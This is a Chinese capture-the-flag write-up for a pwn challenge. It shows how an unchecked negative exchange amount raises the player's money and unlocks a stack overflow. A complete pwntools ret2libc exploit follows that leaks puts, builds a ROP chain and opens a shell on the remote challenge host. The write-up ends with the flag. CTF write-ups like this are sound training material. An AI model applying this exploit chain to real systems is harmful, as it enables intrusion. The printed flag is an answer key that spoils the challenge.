先看主函数,有很多选项
shop 函数里存在栈溢出
只需要 money > 100000
没有 /bin/sh 字符串
也没有 system 函数
那么还是考虑打 ret2libc
虽然初始 money 只有 1000 $
但是 see_it 函数存在逻辑漏洞
没有检查 what_can_I_say >= count
所以即使 what_can_I_say 是负数,也可以换钱
如下图:
我们只需要换来大于 100000 $ 即可进入 shop 函数打 ret2libc 了
很简单,还是用 puts 函数来泄露真实地址
稍微注意下,打本地和打远程可能有点不太一样
建议是直接用它给的 libc 文件来打远程
完整 exp:
# @author:My6n
# @time:20250523
from LibcSearcher import *
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('node1.anna.nssctf.cn',28243)
io.sendline('7')
io.sendline('1000\n')
io.sendline('6')
io.sendline('5')
#print(io.recv())
elf = ELF('./pwn')
offset = 72
puts_plt_addr = elf.plt['puts']
puts_got_addr = elf.got['puts']
shop_addr = 0x400B1E
pop_rdi = 0x400d73
ret_addr = 0x400579
payload1 = cyclic(offset) + p64(pop_rdi) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(shop_addr)
io.sendlineafter('You can name it!!!',payload1)
io.recvline()
#print(io.recv())
#pause()
puts_addr = u64(io.recv()[:6].ljust(8,b'\x00'))
libc = ELF('./libc.so.6')
#libc = LibcSearcher('puts',puts_addr)
#libc_base = puts_addr - libc.dump('puts')
#system_addr = libc_base + libc.dump('system')
#bin_sh_addr = libc_base + libc.dump('str_bin_sh')
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search('/bin/sh'))
payload2 = cyclic(offset) + p64(ret_addr) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
io.sendline(payload2)
io.interactive()
拿到 flag:NSSCTF{2f119064-abea-4165-baaa-c058ba639bbd}